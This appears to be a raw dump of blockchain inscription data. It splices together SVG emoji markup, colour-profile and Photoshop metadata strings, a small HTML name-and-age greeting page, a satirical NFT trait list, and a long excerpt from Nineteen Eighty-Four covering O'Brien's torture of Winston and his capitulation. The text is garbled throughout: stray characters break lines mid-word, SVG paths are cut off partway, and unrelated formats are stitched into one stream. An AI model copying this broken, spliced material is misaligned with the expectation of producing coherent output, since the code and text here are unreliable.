    <path d="M48,31a3,3,0,1,1-3-3,3.001,3.001,0,0,1,3,3"/>
    <path fill="none" stroke="#000" stroke-miterlimit="10" stroke-width="2" d="M44.5416,46.2169a3.6376,3.6376,0,0,1-1.1052-2.5764c-.0405-3.2205,2.9651-6.34,3.0929-6.4712a.6891.6891,0,0,1,.9748-.0123c.L^1313.1281,3.2143,3.1713,3.2555,6.3924l0,0a3.6626,3.6626,0,0,1-6.2183,2.6673Z"/>
.IEC 61966-2-1 Default RGB Colour Space - sRGB
-Reference Viewing Condition in IEC 61966-2-1
Copyright International Color Consortium, 2015
<svg id="emoji" viewBox="0 0 72 72" xmlns="http://www.w3.org/2000/svg">
    <circle cx="36" cy="36" r="24" fill="#fcea2b"/>
    <path fill="#fff" d="M30.498,53.374c-4.296-1.49-6.4614-4.8011-6.4614-8.6835h.0939s12.1375,3.0627,23.683.066l.1606-.066a8.881,8.881,0,0,1-6.4152,8.6842"/>
    <path fill="#b1cc33" d="M40.5383,49.2888s1.518,8.819-1.0644,10.9394l.0255-.0218a4.8842,4.8842,0,0,1-7.0087,0c-2.5824-2.12-1.0644-10.9394-1.0644-10.9394"/>
  <g id="skin-shadow"M
    <path fill="none" stroke="#000" stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M30.498,53.374c-4.296-1.49-6.4614-4.8011-6.4614-8.6835h.0939s12.1375,3.0627,23.683.066l.1606-.066a8.881,8.881,0,0,1-6.4152,8.6842"/>
    <path fill="none" stroke="#000" stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M20.2793,27.2a6.3062,6.3062,0,0,1,3.3907-3,6.3038,6.3038,0,0,1,4.53-.4209"/>
    <path fill="none" stroke="#000" stroke-linecap="round" stroke-linejoin="round" stM
roke-width="2" d="M50.89,27.2A7.19,7.19,0,0,0,42.9805,23.77"/>
    <path fill="none" stroke="#000" stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M44.324,57.4474a23,23,0,1,0-16.5891.0229"/>
    <path fill="none" stroke="#000" stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M20.2793,27.2a6.3062,6.3062,0,0,1,3.3907-3,6.3038,6.3038,0,0,1,4.53-.4209"/>
    <path fill="none" stroke="#000" stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M50.89,27.2A7.19,7.19,0,0,0M
    <path fill="none" stroke="#000" stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M40.5383,49.2888s1.518,8.819-1.0644,10.9394l.0255-.0218a4.8842,4.8842,0,0,1-7.0087,0c-2.5824-2.12-1.0644-10.9394-1.0644-10.9394"/>
    <path fill="none" stroke="#000" stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M29.23,31.5494a1.9352,1.9352,0,0,0-1.9506-1.2659h0a1.8234,1.8234,0,0,0-1.9911,1.5854,1.8233,1.8233,0,0,0,1.9911,1.5854l-.04.0059A1.8234,1.8234,0,0,1,29.23,35.0456a1.M
8233,1.8233,0,0,1-1.9911,1.5854h0a1.9353,1.9353,0,0,1-1.9507-1.2659"/>
    <line x1="27.2589" x2="27.2589" y1="30.2835" y2="28.7721" fill="none" stroke="#000" stroke-linecap="round" stroke-linejoin="round" stroke-width="2"/>
    <line x1="27.2589" x2="27.2589" y1="38.1424" y2="36.631" fill="none" stroke="#000" stroke-linecap="round" stroke-linejoin="round" stroke-width="2"/>
    <path fill="none" stroke="#000" stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M46.2668,31.5494a1.9352,1.9352,0,0,0-1.M
9506-1.2659h0a1.8234,1.8234,0,0,0-1.9911,1.5854,1.8233,1.8233,0,0,0,1.9911,1.5854l-.04.0059a1.8234,1.8234,0,0,1,1.9911,1.5854,1.8233,1.8233,0,0,1-1.9911,1.5854h0a1.9353,1.9353,0,0,1-1.9507-1.2659"/>
    <line x1="44.2959" x2="44.2959" y1="30.2835" y2="28.7721" fill="none" stroke="#000" stroke-linecap="round" stroke-linejoin="round" stroke-width="2"/>
    <line x1="44.2959" x2="44.2959" y1="38.1424" y2="36.631" fill="none" stroke="#000" stroke-linecap="round" stroke-linejoin="round" stroke-width="2"/>
="none" stroke="#000" stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M37.8973,53.146A1.9352,1.9352,0,0,0,35.9467,51.88h0a1.6267,1.6267,0,1,0,0,3.1708l-.04.0059a1.6267,1.6267,0,1,1,0,3.1708h0a1.9353,1.9353,0,0,1-1.9507-1.2659"/>
    <line x1="35.9264" x2="35.9264" y1="51.8801" y2="50.3686" fill="none" stroke="#000" stroke-linecap="round" stroke-linejoin="round" stroke-width="2"/>
    <line x1="35.9264" x2="35.9264" y1="59.739" y2="58.2276" fill="none" stroke="#000" stroke-linecap="round" stroke-l1inejoin="round" stroke-width="2"/>
<svg id="emoji" viewBox="0 0 72 72" xmlns="http://www.w3.org/2000/svg">
    <path fill="#D22F27" d="M34,16.1123v-2.5109c0-1.3807,1.1193-2.5,2.5-2.5l0,0c1.3807,0,2.5,1.1193,2.5,2.5v2.5"/>
    <path fill="#D0CFCE" d="M13.5,41.1014L13.5,41.1014c-1.3807,0-2.5-1.1193-2.5-2.5v-8c0-1.3807,1.1193-2.5,2.5-2.5l0,0 c1.3807,0,2.5,1.1193,2.5,2.5v8C16,39.9821,14.8807,41.1014,13.5,41.1014z"/>
    <path fill="#D0CFCE" d="M58.5,41.1014L58.5,41.1014c1.3807,0,2.5-1.1193,2.5-2.5v-8c0-1.3807-1.1193-2.5-2.5-2.5l0,0 c-1.M
3807,0-2.5,1.1193-2.5,2.5v8C56,39.9821,57.1193,41.1014,58.5,41.1014z"/>
    <path fill="#D0CFCE" d="M47.4505,56.1123h-22.901c-4.7022,0-8.5495-3.8473-8.5495-8.5495v-22.901 c0-4.7022,3.8473-8.5495,8.5495-8.5495h22.901c4.7022,0,8.5495,3.8473,8.5495,8.5495v22.901 C56,52.2649,52.1527,56.1123,47.4505,56.1123z"/>
    <path fill="#9B9B9A" d="M35.4977,56.1115h13.2865c3.9687,0,7.2158-3.8473,7.2158-8.5495V24.661 c0-4.7022-3.2471-8.5495-7.2158-8.5495h-2.3526"/>
    <ellipse cx="44.8346" cy="29.0027" rx="2.8338" ry="2.8338" filM
    <ellipse cx="27.3342" cy="29.0022" rx="2.8338" ry="2.8338" fill="#FFFFFF"/>
    <path fill="#FFFFFF" d="M44.5,47.5005h-17c-2.2,0-4-1.8-4-4l0,0c0-2.2,1.8-4,4-4h17c2.2,0,4,1.8,4,4l0,0 C48.5,45.7005,46.7,47.5005,44.5,47.5005z"/>
  <g id="skin-shadow"/>
    <path fill="none" stroke="#000000" stroke-linecap="round" stroke-linejoin="round" stroke-miterlimit="2" stroke-width="2" d="M34,16.0109V13.5c0-1.3807,1.1193-2.5,2.5-2.5l0,0c1.3807,0,2.5,1.119M
    <path fill="none" stroke="#000000" stroke-linecap="round" stroke-linejoin="round" stroke-miterlimit="2" stroke-width="2" d="M47.4505,56h-22.901C19.8473,56,16,52.1527,16,47.4505v-22.901C16,19.8473,19.8473,16,24.5495,16h22.901 C52.1527,16,56,19.8473,56,24.5495v22.901C56,52.1527,52.1527,56,47.4505,56z"/>
    <ellipse cx="44.8346" cy="29.0022" rx="2.8338" ry="2.8338" fill="none" stroke="#000000" stroke-linecap="round" stroke-linejoin="round" stroke-miterlimit="2" stroke-width="2"/>
27.3342" cy="29.0017" rx="2.8338" ry="2.8338" fill="none" stroke="#000000" stroke-linecap="round" stroke-linejoin="round" stroke-miterlimit="2" stroke-width="2"/>
    <path fill="none" stroke="#000000" stroke-miterlimit="2" stroke-width="2" d="M44.5,47.5h-17c-2.2,0-4-1.8-4-4l0,0 c0-2.2,1.8-4,4-4h17c2.2,0,4,1.8,4,4l0,0C48.5,45.7,46.7,47.5,44.5,47.5z"/>
    <path fill="none" stroke="#000000" stroke-linecap="round" stroke-linejoin="round" stroke-miterlimit="2" stroke-width="2" d="M13.5,41L13.5,41c-1.3807,0-2.5-1.1193-M
2.5-2.5v-8c0-1.3807,1.1193-2.5,2.5-2.5l0,0c1.3807,0,2.5,1.1193,2.5,2.5v8 C16,39.8807,14.8807,41,13.5,41z"/>
    <path fill="none" stroke="#000000" stroke-linecap="round" stroke-linejoin="round" stroke-miterlimit="2" stroke-width="2" d="M58.5,41L58.5,41c1.3807,0,2.5-1.1193,2.5-2.5v-8c0-1.3807-1.1193-2.5-2.5-2.5l0,0c-1.3807,0-2.5,1.1193-2.5,2.5v8 C56,39.8807,57.1193,41,58.5,41z"/>
    <line x1="28" x2="28" y1="40" y2="47" fill="none" stroke="#000000" stroke-linecap="round" stroke-linejoin="round" stroke-miterlimit="2M
" stroke-width="2"/>
    <line x1="33" x2="33" y1="40" y2="47" fill="none" stroke="#000000" stroke-linecap="round" stroke-linejoin="round" stroke-miterlimit="2" stroke-width="2"/>
    <line x1="38" x2="38" y1="40" y2="47" fill="none" stroke="#000000" stroke-linecap="round" stroke-linejoin="round" stroke-miterlimit="2" stroke-width="2"/>
    <line x1="43" x2="43" y1="40" y2="47" fill="none" stroke="#000000" stroke-linecap="round" stroke-linejoin="round" stroke-miterlimit="2" stroke-width="2"/>
<svg id="emoji" viewBox="0 0 72 72" xmlns="http://www.w3.org/2000/svg">
  <g id="line-supplement">
    <path fill="none" stroke="#000000" stroke-linecap="round" stroke-linejoin="round" stroke-miterlimit="10" stroke-width="2" d="M50.3838,47.2065c-1.7396,1.4508-3.5449,2.0133-3.8255,2.096c1.2769,3.8998,1.5308,7.3335,0.8554,9.3629"/>
    <path fill="none" stroke="#000000" stroke-linecap="round" stroke-linejoin="round" stroke-miterlimit="10" stroke-width="2" d="M23.7414,31.4072c4.0808-1.403,9.8253,0.1056,12.4177,4.5449cM
2.5249-4.2094,7.8873-5.739,11.8223-4.7169"/>
    <path fill="none" stroke="#000000" stroke-linecap="round" stroke-linejoin="round" stroke-miterlimit="10" stroke-width="2" d="M25.721,59.5755c-0.7095-2.8184-0.848-5.5181,0.3199-10.8352c-0.2215-0.045-2.2221-0.4854-4.1217-1.928"/>
    <circle cx="36.1163" cy="36" r="24" fill="#6A462F"/>
    <path fill="#A57939" d="M26.1077,57.8872c-1.017-3.4032-1.4239-6.0475-0.0668-12.2261c-0.3544-0.072-5.2649-1.1565-7.0265-5.7402 c-1.5688-4.0821,0.1684-8.8353,3.M
6538-11c4.2321-2.6284,10.5282-1.1215,13.4909,3.952c3.0375-5.0639,9.313-6.5391,13.4909-3.952 c3.5775,2.2155,4.9892,7.0209,3.6538,11c-1.5753,4.6941-6.2779,6.1647-6.7455,6.3024c0.9411,4.1067,1.2051,6.2341,0.8554,8.0629 c-0.1115,0.583-0.6968,1.054-1.4137,2.6346c-0.3895,0.8587-3.7481,0.5225-4,1"/>
    <path fill="#FFFFFF" d="M41.9792,48.917c-0.2036,0.2681-0.7527,6.0217-6.3387,6.0246c-4.9521,0.0025-5.4413-5.6762-5.7048-6.0246 C33.9503,48.917,37.9648,48.917,41.9792,48.917z"/>
    <path fill="#6A462F" d="M19.2323,18.4382c-M
0.361,0-8.0248-2.1272-11.4888,4.6208c-3.059,5.959-0.3874,10.2553,4.0243,14.2371"/>
    <path fill="#6A462F" d="M52.9327,18.8067c0.3466,0,8.0022-2.5589,11.3277,3.9191c2.9367,5.7207,0.4686,11.8919-4.1618,14.1844"/>
    <path fill="#A57939" d="M18.945,50.4547c-0.4804-6.0396,0.0392-0.0793-0.4413-6.1189c0.7336-1.8542,1.6918-4.7683,2.059-8.4418 c0.2878-2.8791-0.0143-3.9562-0.4118-10.2995c-0.5229-8.3456-0.2387-10.2904-1.0295-10.4961 c-1.4192-0.3691-4.4446,5.3461-5.971,10.4961c-1.6205,5.4675-1.5585,10.3212-1.2354,13.5938 cM
-0.8922,7.6868-0.3078-2.4173-1.2001,5.2695"/>
    <path fill="#6A462F" d="M11.3043,39.1904l0.0609,0.0441C11.5363,38.4719,11.3043,39.1904,11.3043,39.1904z"/>
    <path fill="#6A462F" d="M19,57.9208c-0.5222-6.0806-0.5346-13.548-0.5346-13.548l-7.1002-5.1383 c-0.1299,0.5787-0.4918,2.0098-1.3652,5.2612L19,57.9208z"/>
    <path fill="#A57939" d="M53.4019,50.4547c0.4804-6.0396-0.0392-0.0793,0.4413-6.1189c-0.7336-1.8542-1.6918-4.7683-2.059-8.4418 c-0.2878-2.8791,0.0143-3.9562,0.4118-10.2995c0.5229-8.3456,0.2387-10.2904,1.0M
295-10.4961 c1.4192-0.3691,4.4446,5.3461,5.971,10.4961c1.6205,5.4675,1.5585,10.3212,1.2354,13.5938 c0.8922,7.6868,0.5987-1.1402,1.4909,6.5466"/>
    <path fill="#6A462F" d="M60.8928,39.5034l0.4278-0.313C61.3206,39.1904,61.0047,38.9388,60.8928,39.5034z"/>
    <path fill="#6A462F" d="M62,45.9208c-1.1036-4.1549-1.2314-5.7905-1.1072-6.4174l-6.9938,5.1184c0,0,0.0441,7.9261-0.4971,14.299 L62,45.9208z"/>
  <g id="skin-shadow"/>
    <circle cx="26.8381" cy="38.2509" M
    <circle cx="45.3945" cy="38.2509" r="3"/>
    <path fill="none" stroke="#000000" stroke-linecap="round" stroke-linejoin="round" stroke-miterlimit="10" stroke-width="2" d="M41.9792,49.017c-0.2036,0.2681-0.7527,6.0217-6.3387,6.0246c-4.9521,0.0025-5.4413-5.6762-5.7048-6.0246 C33.9503,49.017,37.9648,49.017,41.9792,49.017z"/>
    <circle cx="34.0988" cy="44.5578" r="1"/>
    <circle cx="37.7384" cy="44.5578" r="1"/>
    <path fill="none" stroke="#000000" stroke-linecap="round" stroke-linejoin="round" stroke-M
miterlimit="10" stroke-width="2" d="M11.6836,20.1837c-1.2053,0.6459-2.3451,1.7036-3.2117,3.3917c-1.708,3.3272-1.274,6.2517,0.0837,8.8217"/>
    <path fill="none" stroke="#000000" stroke-linecap="round" stroke-linejoin="round" stroke-miterlimit="10" stroke-width="2" d="M60.5424,20.2614c1.1529,0.6519,2.2379,1.6919,3.0706,3.3141c1.6027,3.122,1.3194,5.8895,0.1566,8.3422"/>
    <path fill="none" stroke="#000000" stroke-linecap="round" stroke-linejoin="round" stroke-miterlimit="10" stroke-width="2" d="M50.0121,54.2076c-3M
.8867,3.0046-8.7619,4.7923-14.0546,4.7923c-5.1125,0-9.8354-1.6681-13.6542-4.4897"/>
    <path fill="none" stroke="#000000" stroke-linecap="round" stroke-linejoin="round" stroke-miterlimit="10" stroke-width="2" d="M23.838,16.4485C27.3571,14.2624,31.5099,13,35.9575,13c4.5893,0,8.8647,1.3441,12.4539,3.6602"/>
    <path fill="none" stroke="#000000" stroke-linecap="round" stroke-linejoin="round" stroke-miterlimit="10" stroke-width="2" d="M18.945,56.8993c-0.4804-6.0396,0.0392-6.4239-0.4413-12.4635c0.7336-1.8542,1.6918-4.M
7683,2.059-8.4418 c0.2878-2.8791-0.0143-3.9562-0.4118-10.2995c-0.5229-8.3456-0.2387-10.2904-1.0295-10.4961 c-1.4192-0.3691-4.4446,5.3461-5.971,10.4961c-1.6205,5.4675-1.2354,13.5938-1.2354,13.5938l-1.2,5.2695"/>
    <path fill="none" stroke="#000000" stroke-linecap="round" stroke-linejoin="round" stroke-miterlimit="10" stroke-width="2" d="M53.4019,57.9872c0.4804-6.0396-0.0392-7.5118,0.4413-13.5514c-0.7336-1.8542-1.6918-4.7683-2.059-8.4418 c-0.2878-2.8791,0.0143-3.9562,0.4118-10.2995c0.5229-8.3456,0.2387-10.2904,1.02L
95-10.4961 c1.4192-0.3691,4.4446,5.3461,5.971,10.4961c1.6205,5.4675,1.2354,13.5938,1.2354,13.5938l1.4909,6.5466"/>
Copyright (c) 1998 Hewlett-Packard Company
IEC http://www.iec.ch
IEC http://www.iec.ch
.IEC 61966-2.1 Default RGB colour space - sRGB
.IEC 61966-2.1 Default RGB colour space - sRGB
,Reference Viewing Condition in IEC61966-2.1
,Reference Viewing Condition in IEC61966-2.1
text/plain;charset=utf-8
((((((((((((((((((((((((((((((((((((((((((((((((((
text/plain;charset=utf-8
(Scott and Jenni established July 21 2001h!
IjGREFUND:CA0C20EE95B224E7CDBAC344A86E49678F215DA16120E5DF476C2D4FB1E12F7D
text/html;charset=utf-8
        background-color: lightgray;
    font-size: 20px;
    text-align: center;
    font-size: 30px;
    margin-bottom: 20px;
    text-align: center;
    font-size: 20px;
    text-align: center;
    font-size: 20px;
    text-align: center;
    animation: blink 1s linear infinite;
    border-radius: 5px;
    margin: 0 auto 20px;
    text-align: center;
    margin: 20px auto;
    text-align: center;
  @keyframes blink {
  function greet() {
    var name = document.getElementById("name").value;
    var age = document.getElementM
    document.getElementById("response").innerHTML = "Hi " + name + ", you are already " + age + " years old!";
    <div class="welcome-text">
      This app was made by Maxim and Misha, as one of the first checks on the implementation of the inscriptions. There is nothing special in it, but it was important for us to check its performance.
    <div class="question" id="question1">What's your name?</div>
    <div class="prompt">Enter your name:<M
    <input type="text" id="name" class="input-field">
    <div class="question" id="question2">How old are you?</div>
    <div class="prompt">Enter your age:</div>
    <input type="text" id="age" class="input-field">
    <div class="center-btn">
      <button onclick="greet()">Greet Me</button>
    <div class="response" id="response"></div>
FjDOUT:AF3F48767655DF9692A44C7F0FE46758A61F8C5FB32DB70C3715E2F6000E53D3
<svg viewBox="0 0 350 350" preserveAspectRatio="xMinYMin meet" xmlns="http://www.w3.org/2000/svg"><style>.base { fill: black; font-family: serif; font-size: 14px; }</style><rect fill="#01ff01" height="100%" width="100%"></rect><text class="base" y="20" x="10">Mint</text><text class="base" y="40" x="10">Spacesuit of Cope</text><text class="base" y="60" x="10">Smoking Pipe</text><text class="base" y="80" x="10">"tropoFarmer Hell" Double Strap of FOMO +1</text><text class="base" y="100" x="10">Dirty Shitkickers</text>L
<text class="base" y="120" x="10">Paper Hands of Engagement Farming</text><text class="base" y="140" x="10">Trinket of Gas</text><text class="base" y="160" x="10">"Orrell Tear" Ringer of 1000 Troll Tears +1</text></svg>h!
((((((((((((((((((((((((((((((((((((((((((((((((((
iTXtXML:com.adobe.xmp
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 6.0-c002 79.164352, 2020/01/30-15:50:38        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:photoshop="http://ns.adobe.com/photoshop/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1M
.0/mm/" xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEvent#" xmp:CreatorTool="Adobe Photoshop 21.1 (Windows)" xmp:CreateDate="2021-11-23T21:26:33+08:00" xmp:ModifyDate="2021-12-06T13:05:26+08:00" xmp:MetadataDate="2021-12-06T13:05:26+08:00" dc:format="image/png" photoshop:ColorMode="3" photoshop:ICCProfile="sRGB IEC61966-2.1" xmpMM:InstanceID="xmp.iid:f0269e91-c0c3-0a49-bc94-0bcf78460697" xmpMM:DocumentID="xmp.did:b7639886-317d-944a-bdd4-b885bd3ab643" xmpMM:OriginalDocumentID="xmp.did:b7639886-317d-944a-bM
dd4-b885bd3ab643"> <xmpMM:History> <rdf:Seq> <rdf:li stEvt:action="created" stEvt:instanceID="xmp.iid:b7639886-317d-944a-bdd4-b885bd3ab643" stEvt:when="2021-11-23T21:26:33+08:00" stEvt:softwareAgent="Adobe Photoshop 21.1 (Windows)"/> <rdf:li stEvt:action="saved" stEvt:instanceID="xmp.iid:8af96ff2-f107-da42-a3dc-fb9433ef9aba" stEvt:when="2021-12-01T21:14:18+08:00" stEvt:softwareAgent="Adobe Photoshop 21.1 (Windows)" stEvt:changed="/"/> <rdf:li stEvt:action="saved" stEvt:instanceID="xmp.iid:f0269e91-c0c3-0a49-bc94-0bM
cf78460697" stEvt:when="2021-12-06T13:05:26+08:00" stEvt:softwareAgent="Adobe Photoshop 21.1 (Windows)" stEvt:changed="/"/> </rdf:Seq> </xmpMM:History> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
((((((((((((((((((((((((((((((((((((((((((((((((((
((((((((((((((((((((((((((((((((((((((((((((((((((
text/plain;charset=utf-8
The following piece is part of the George Ordwell project; an ordinal project inscribing notable works on-chain as artefacts.
Title: Nineteen Eighty-Four
------------------------------------------------------------------
"I don't care. In the end they will beat you. Sooner or later they will see you for what you are, and then they will tear you to pieces."
"Do you see any evidence that that is happening? Or any reason why it should?"
"No. I believe it. I know that you will fail. TheM
re is something in the universe
I don't know, some spirit, some principle
that you will never overcome."
"Do you believe in God, Winston?"
"Then what is it, this principle that will defeat us?"
"I don't know. The spirit of Man."
"And do you consider yourself a man?"
"If you are a man, Winston, you are the last man. Your kind is extinct; we are the inheritors. Do you understand that you are alone? You are outside history, you are nonexistent." His manner changed and he said more harshly: "AndM
 you consider yourself morally superior to us, with our lies and our cruelty?"
"Yes, I consider myself superior."
O'Brien did not speak. Two other voices were speaking. After a moment Winston recognized one of them as his own. It was a sound track of the conversation he had had with O'Brien, on the night when he had enrolled himself in the Brotherhood. He heard himself promising to lie, to steal, to forge, to murder, to encourage drug taking and prostitution, to disseminate venereal diseases, to throw vitriol in M
a child's face. O'Brien made a small impatient gesture, as though to say that the demonstration was hardly worth making. Then he turned a switch and the voices stopped.
"Get up from that bed," he said.
The bonds had loosened themselves. Winston lowered himself to the floor and stood up unsteadily.
"You are the last man," said O'Brien. "You are the guardian of the human spirit. You shall see yourself as you are. Take off your clothes."
Winston undid the bit of string that held his overalls together. The zip fastM
ener had long since been wrenched out of them. He could not remember whether at any time since his arrest he had taken off all his clothes at one time. Beneath the overalls his body was looped with filthy yellowish rags, just recognizable as the remnants of underclothes. As he slid them to the ground he saw that there was a three-sided mirror at the far end of the room. He approached it, then stopped short. An involuntary cry had broken out of him.
"Go on," said O'Brien. "Stand between the wings of the mirror. YouM
 shall see the side view as well."
He had stopped because he was frightened. A bowed, gray-colored, skeletonlike thing was coming toward him. Its actual appearance was frightening, and not merely the fact that he knew it to be himself. He moved closer to the glass. The creature's face seemed to be protruded, because of its bent carriage. A forlorn, jailbird's face with a nobby forehead running back into a bald scalp, a crooked nose and battered-looking cheekbones above which the eyes were fierce and watchful. The M
cheeks were seamed, the mouth had a drawn-in look. Certainly it was his own face, but it seemed to him that it had changed more than he had changed inside. The emotions it registered would be different from the ones he felt. He had gone partially bald. For the first moment he had thought that he had gone gray as well, but it was only the scalp that was gray. Except for his hands and a circle of his face, his body was gray all over with ancient, ingrained dirt. Here and there under the dirt there were the red scars M
of wounds, and near the ankle the varicose ulcer was an inflamed mass with flakes of skin peeling off it. But the truly frightening thing was the emaciation of his body. The barrel of the ribs was as narrow as that of a skeleton; the legs had shrunk so that the knees were thicker than the thighs. He saw now what O'Brien had meant about seeing the side view. The curvature of the spine was astonishing. The thin shoulders were hunched forward so as to make a cavity of the chest, the scraggy neck seemed to be bending dM
ouble under the weight of the skull. At a guess he would have said that it was the body of a man of sixty, suffering from some malignant disease.
"You have thought sometimes," said O'Brien, "that my face
the face of a member of the Inner Party
looks old and worn. What do you think of your own face?"
He seized Winston's shoulder and spun him round so that he was facing him.
"Look at the condition you are in!" he said. "Look at this filthy grime all over your body. Look at the dirt between your toes. Look at tM
hat disgusting running sore on your leg. Do you know that you stink like a goat? Probably you have ceased to notice it. Look at your emaciation. Do you see? I can make my thumb and forefinger meet around your bicep. I could snap your neck like a carrot. Do you know that you have lost twenty-five kilograms since you have been in our hands? Even your hair is coming out in handfuls. Look!" He plucked at Winston's head and brought away a tuft of hair. "Open your mouth. Nine, ten, eleven teeth left. How many had you wheM
n you came to us? And the few you have left are dropping out of your head. Look here!"
He seized one of Winston's remaining front teeth between his powerful thumb and forefinger. A twinge of pain shot through Winston's jaw. O'Brien had wrenched the loose tooth out by the roots. He tossed it across the cell.
"You are rotting away," he said; "you are falling to pieces. What are you? A bag of filth. Now turn round and look into that mirror again. Do you see that thing facing you? That is the last man. If you are humM
an, that is humanity. Now put your clothes on again."
Winston began to dress himself with slow stiff movements. Until now he had not seemed to notice how thin and weak he was. Only one thought stirred in his mind: that he must have been in this place longer than he had imagined. Then suddenly as he fixed the miserable rags round himself a feeling of pity for his ruined body overcame him. Before he knew what he was doing he had collapsed onto a small stool that stood beside the bed and burst into tears. He was awarM
e of his ugliness, his gracelessness, a bundle of bones in filthy underclothes sitting weeping in the harsh white light; but he could not stop himself. O'Brien laid a hand on his shoulder, almost kindly.
"It will not last forever," he said. "You can escape from it whenever you choose. Everything depends on yourself."
"You did it!" sobbed Winston. "You reduced me to this state."
"No, Winston, you reduced yourself to it. This is what you accepted when you set yourself up against the Party. It was all contained in M
that first act. Nothing has happened that you did not foresee."
He paused, and then went on:
"We have beaten you, Winston. We have broken you up. You have seen what your body is like. Your mind is in the same state. I do not think there can be much pride left in you. You have been kicked and flogged and insulted, you have screamed with pain, you have rolled on the floor in your own blood and vomit. You have whimpered for mercy, you have betrayed everybody and everything. Can you think of a single degradation thatM
 has not happened to you?"
Winston had stopped weeping, though the tears were still oozing out of his eyes. He looked up at O'Brien.
"I have not betrayed Julia," he said.
O'Brien looked down at him thoughtfully. "No," he said, "no; that is perfectly true. You have not betrayed Julia."
The peculiar reverence for O'Brien, which nothing seemed able to destroy, flooded Winston's heart again. How intelligent, he thought, how intelligent! Never did O'Brien fail to understand what was said to him. Anyone else on earthM
 would have answered promptly that he had betrayed Julia. For what was there that they had not screwed out of him under the torture? He had told them everything he knew about her, her habits, her character, her past life; he had confessed in the most trivial detail everything that had happened at their meetings, all that he had said to her and she to him, their black-market meals, their adulteries, their vague plottings against the Party
everything. And yet, in the sense in which he intended the word, he had not M
betrayed her. He had not stopped loving her; his feeling toward her had remained the same. O'Brien had seen what he meant without the need for explanation.
"Tell me," he said, "how soon will they shoot me?"
"It might be a long time," said O'Brien. "You are a difficult case. But don't give up hope. Everyone is cured sooner or later. In the end we shall shoot you."
He was much better. He was growing fatter and stronger every day, if it was proper to speak of days.
The white light and the humming sound were theM
 same as ever, but the cell was a little more comfortable than the others he had been in. There were a pillow and a mattress on the plank bed, and a stool to sit on. They had given him a bath, and they allowed him to wash himself fairly frequently in a tin basin. They even gave him warm water to wash with. They had given him new underclothes and a clean suit of overalls. They had dressed his varicose ulcer with soothing ointment. They had pulled out the remnants of his teeth and given him a new set of dentures.
eks or months must have passed. It would have been possible now to keep count of the passage of time, if he had felt any interest in doing so, since he was being fed at what appeared to be regular intervals. He was getting, he judged, three meals in the twenty-four hours; sometimes he wondered dimly whether he was getting them by night or by day. The food was surprisingly good, with meat at every third meal. Once there was even a packet of cigarettes. He had no matches, but the never-speaking guard who brought his M
food would give him a light. The first time he tried to smoke it made him sick, but he persevered, and spun the packet out for a long time, smoking half a cigarette after each meal.
They had given him a white slate with a stump of pencil tied to the corner. At first he made no use of it. Even when he was awake he was completely torpid. Often he would lie from one meal to the next almost without stirring, sometimes asleep, sometimes waking into vague reveries in which it was too much trouble to open his eyes. He haM
d long grown used to sleeping with a strong light on his face. It seemed to make no difference, except that one's dreams were more coherent. He dreamed a great deal all through this time, and they were always happy dreams. He was in the Golden Country, or he was sitting among enormous, glorious, sunlit ruins, with his mother, with Julia, with O'Brien
not doing anything, merely sitting in the sun, talking of peaceful things. Such thoughts as he had when he was awake were mostly about his dreams. He seemed to have M
lost the power of intellectual effort, now that the stimulus of pain had been removed. He was not bored; he had no desire for conversation or distraction. Merely to be alone, not to be beaten or questioned, to have enough to eat, and to be clean all over, was completely satisfying.
By degrees he came to spend less time in sleep, but he still felt no impulse to get off the bed. All he cared for was to lie quiet and feel the strength gathering in his body. He would finger himself here and there, trying to make sure M
that it was not an illusion that his muscles were growing rounder and his skin tauter. Finally it was established beyond a doubt that he was growing fatter; his thighs were now definitely thicker than his knees. After that, reluctantly at first, he began exercising himself regularly. In a little while he could walk three kilometers, measured by pacing the cell, and his bowed shoulders were growing straighter. He attempted more elaborate exercises, and was astonished and humiliated to find what things he could not dM
o. He could not move out of a walk, he could not hold his stool out at arm's length, he could not stand on one leg without falling over. He squatted down on his heels, and found that with agonizing pains in thigh and calf he could just lift himself to a standing position. He lay flat on his belly and tried to lift his weight by his hands. It was hopeless; he could not raise himself a centimeter. But after a few more days
a few more mealtimes
even that feat was accomplished. A time came when he could do it six tM
imes running. He began to grow actually proud of his body, and to cherish an intermittent belief that his face also was growing back to normal. Only when he chanced to put his hand on his bald scalp did he remember the seamed, ruined face that had looked back at him out of the mirror.
His mind grew more active. He sat down on the plank bed, his back against the wall and the slate on his knees, and set to work deliberately at the task of re-educating himself.
He had capitulated; that was agreed. In reality, as he M
saw now, he had been ready to capitulate long before he had taken the decision. From the moment when he was inside the Ministry of Love
and yes, even during those minutes when he and Julia had stood helpless while the iron voice from the telescreen told them what to do
he had grasped the frivolity, the shallowness of his attempt to set himself up against the power of the Party. He knew now that for seven years the Thought Police had watched him like a beetle under a magnifying glass. There was no physical act, M
no word spoken aloud, that they had not noticed, no train of thought that they had not been able to infer. Even the speck of whitish dust on the cover of his diary they had carefully replaced. They had played sound tracks to him, shown him photographs. Some of them were photographs of Julia and himself. Yes, even... He could not fight against the Party any longer. Besides, the Party was in the right. It must be so: how could the immortal, collective brain be mistaken? By what external standard could you check its jM
udgments? Sanity was statistical. It was merely a question of learning to think as they thought. Only
The pencil felt thick and awkward in his fingers. He began to write down the thoughts that came into his head. He wrote first in large clumsy capitals:
Then almost without a pause he wrote beneath it:
TWO AND TWO MAKE FIVE.
But then there came a sort of check. His mind, as though shying away from something, seemed unable to concentrate. He knew that he knew what came next, but for the momM
